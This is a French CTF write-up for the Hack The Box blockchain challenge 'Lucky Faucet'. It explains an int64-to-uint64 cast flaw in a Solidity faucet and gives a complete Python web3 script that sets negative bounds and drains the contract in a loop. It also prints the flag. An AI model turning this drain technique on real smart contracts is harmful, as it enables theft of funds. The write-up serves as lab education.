Lucky Faucet

Catégorie: Blockchain Difficulté: easy Flag: HTB{1_f0rg0r_s0m3_U}

Challenge

Description


The Fray announced the placement of a faucet along the path for adventurers who can overcome the initial challenges. It's designed to provide enough resources for all players, with the hope that someone won't monopolize it, leaving none for others.

Analyse du code

Le contrat LuckyFaucet créé possĂšde 500 ether au dĂ©part. L’objectif et de lui en faire perdre au moins 10

Setup.sol

function isSolved() public view returns (bool) {
  return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}

Pour cela, on peut utiliser la fonction sendRandomETH qui permet d’envoyer à celui qui l’appel une somme entre 50 000 000 et 100 000 000 wei, ce qui fait maximum 0,0000000001 ETH

Autant dire qu’il va falloir appeler une tonne de fois cette fonction.

LuckyFaucet.sol

function sendRandomETH() public returns (bool, uint64) {
	// Choix d'un aléatoire
  int256 randomInt = int256(blockhash(block.number - 1));
  // Place cet aléatoire entre les bornes lowerBound et upperBound
  uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
  // Envoi de la somme
  bool sent = msg.sender.send(amountToSend);
  return (sent, amountToSend);
}

Seullement nous pouvons redéfinir les bornes lowerBound et upperBound avec la fonction setBounds

Par contre, ces valeurs ne peuvent dépasser 100 000 000 de wei

int64 public upperBound;
int64 public lowerBound;

function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
      require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
      require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");
      require(_newLowerBound <= _newUpperBound);
      upperBound = _newUpperBound;
      lowerBound = _newLowerBound;
    }

La vulnĂ©rabilitĂ© rĂ©side dans le fait que lowerBound et upperBound sont dĂ©finis en tant qu’int64 alors que la somme envoyĂ©e est un uint64

Autrement dit, si le nombre castĂ© en uint64 est nĂ©gatif, alors il se transformera en position. C’est ce qu’on appelle une vulnĂ©rabilitĂ© Underflow.

En choisissant des bornes -[-1, -1] le nombre aléatoire, qui est replacé entre les bornes, deviendra forcément -1 . Ainsi lors du cast en uint64 ce -1 se transformera en 18 446 744 073 709 551 615

La somme envoyĂ©e sera alors d’environ 18 ETH, soit suffisamment pour remplir la condition de isSolved


Script de résolution

from web3 import Web3
import requests
import solcx
from pwnlib.tubes.remote import remote

VERSION = '0.7.6'
solcx.install_solc(version=VERSION)
solcx.set_solc_version(version=VERSION)

class Web3Client:
	def __init__(self, host, port):
		# Récupération des adresses des contrats
		base = f"{host}:{port}"
		self.w3 = Web3(Web3.HTTPProvider(f"http://{base}"))
		self.info = requests.get(f"http://{base}/connection_info").json()
		self.contracts = {
			'setup': self.get_contract('Setup.sol', self.info['setupAddress']),
			'lucky_faucet': self.get_contract('LuckyFaucet.sol', self.info['TargetAddress']),
		}

	def get_contract(self, filename: str, address: str):
		compiled_sol = solcx.compile_files([filename])
		key = filename + ':' + filename.split('.')[0]
		interface = compiled_sol[key]
		return self.w3.eth.contract(address=address, abi=interface['abi'])

	# Attends la fin d'une transaction
	def wait(self, transaction_hash):
		return self.w3.eth.wait_for_transaction_receipt(transaction_hash)

def solve(host, port_rpc, port_soc):
	# Connexion via RPC Ă  la blockchain
	rpc_client = Web3Client(host, port_rpc)
	
	# Le contrat Ă  exploiter
	lucky_faucet = rpc_client.contracts['lucky_faucet']
	
	# Redéfinition des bornes à [-1, -1]
	rpc_client.wait(lucky_faucet.functions.setBounds(-1, -1).transact())
	while True:
		# Récupération du nombre d'ETH actuel dans le contrat
		balance = rpc_client.w3.eth.get_balance(lucky_faucet.address)
		print(f"💰 Balance: {balance}")
		
		# Si le contrat à perdu au moins 10 ETH, alors c'est terminé
		if balance < rpc_client.w3.to_wei(490, 'ether'):
			break
		
		# Appel de la fonction pour envoyer une somme "aléatoire"
		rpc_client.wait(lucky_faucet.functions.sendRandomETH().transact())

	# Connexion via socket au serveur raw
	soc_client = remote(host, port_soc)
	soc_client.sendlineafter(b'action? ', b'3')
	
	# Récupération du flag
	flag = soc_client.recvall(timeout=1).decode().strip()
	print(f"Flag: {flag}")

if __name__ == '__main__':
	solve('94.237.62.195', 38217, 41842)

DerniĂšre mise Ă  jour

Cet article vous a-t-il été utile ?